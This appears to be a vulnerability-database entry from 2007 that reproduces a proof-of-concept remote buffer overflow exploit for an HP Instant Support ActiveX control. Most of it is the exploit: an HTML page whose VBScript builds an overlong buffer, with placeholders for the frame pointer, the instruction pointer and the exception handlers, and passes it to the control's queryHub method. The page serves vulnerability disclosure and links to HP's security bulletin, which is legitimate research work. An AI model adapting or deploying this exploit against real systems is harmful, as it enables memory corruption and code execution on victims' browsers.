HP Instant Support (Driver Check) Remote Buffer Overflow Exploit PoC

🗓️ 03 Jul 2007 00:00:00Reported by RootType

HP Instant Support Driver Check Buffer Overflow Exploi


                                                ----------------------------------------------------------------------------------
&nbsp;HP&nbsp;Instant&nbsp;Support&nbsp;-&nbsp;Driver&nbsp;Check&nbsp;Remote&nbsp;Buffer&nbsp;Overflow&nbsp;Exploit

&nbsp;author:&nbsp;Carlo&nbsp;Di&nbsp;Dato&nbsp;(aka&nbsp;shinnai)
&nbsp;mail:&nbsp;shinnai[at]autistici[dot]org
&nbsp;site:&nbsp;http://shinnai.altervista.org
&nbsp;Tested&nbsp;on&nbsp;Windows&nbsp;XP&nbsp;Professional&nbsp;SP2&nbsp;full&nbsp;patched&nbsp;with&nbsp;IE7

&nbsp;Special&nbsp;thanks&nbsp;to:
&nbsp;rgod&nbsp;for&nbsp;his&nbsp;support&nbsp;and&nbsp;friendship
&nbsp;John&nbsp;Morris&nbsp;from&nbsp;HP&nbsp;Software&nbsp;Security&nbsp;for&nbsp;his&nbsp;honesty
&nbsp;str0ke...&nbsp;for&nbsp;being&nbsp;str0ke&nbsp;:)

&nbsp;HP&nbsp;Security&nbsp;Bulletin:
&nbsp;http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c01077597
----------------------------------------------------------------------------------

&nbsp;&lt;html&gt;
&nbsp;&lt;object&nbsp;classid='clsid:156BF4B7-AE3A-4365-BD88-95A75AF8F09D'&nbsp;id='test'&gt;&lt;/object&gt;
&nbsp;&nbsp;&lt;script&nbsp;language&nbsp;=&nbsp;'vbscript'&gt;
&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;buff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;String(222,&nbsp;&quot;A&quot;)

&nbsp;&nbsp;&nbsp;get_EBP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;&quot;cccc&quot;

&nbsp;&nbsp;&nbsp;get_EIP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;unescape(&quot;aaaa&quot;)

&nbsp;&nbsp;&nbsp;buf1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;unescape(&quot;bbbb&quot;)

&nbsp;&nbsp;&nbsp;second_exception&nbsp;=&nbsp;unescape(&quot;%00%00%92%00&quot;)

&nbsp;&nbsp;&nbsp;first_exception&nbsp;&nbsp;=&nbsp;unescape(&quot;%00%00%92%00&quot;)

&nbsp;&nbsp;&nbsp;buf2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;String(4000,&nbsp;&quot;B&quot;)

&nbsp;&nbsp;&nbsp;egg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;buff&nbsp;+&nbsp;get_EBP&nbsp;+&nbsp;get_EIP&nbsp;+&nbsp;buf1&nbsp;+&nbsp;second_exception&nbsp;+&nbsp;first_exception&nbsp;+&nbsp;buf2

&nbsp;&nbsp;&nbsp;test.queryHub&nbsp;egg
&nbsp;
&nbsp;&lt;/script&gt;
&lt;/html&gt;

03 Jul 2007 00:00Current

7.1High risk

Vulners AI Score7.1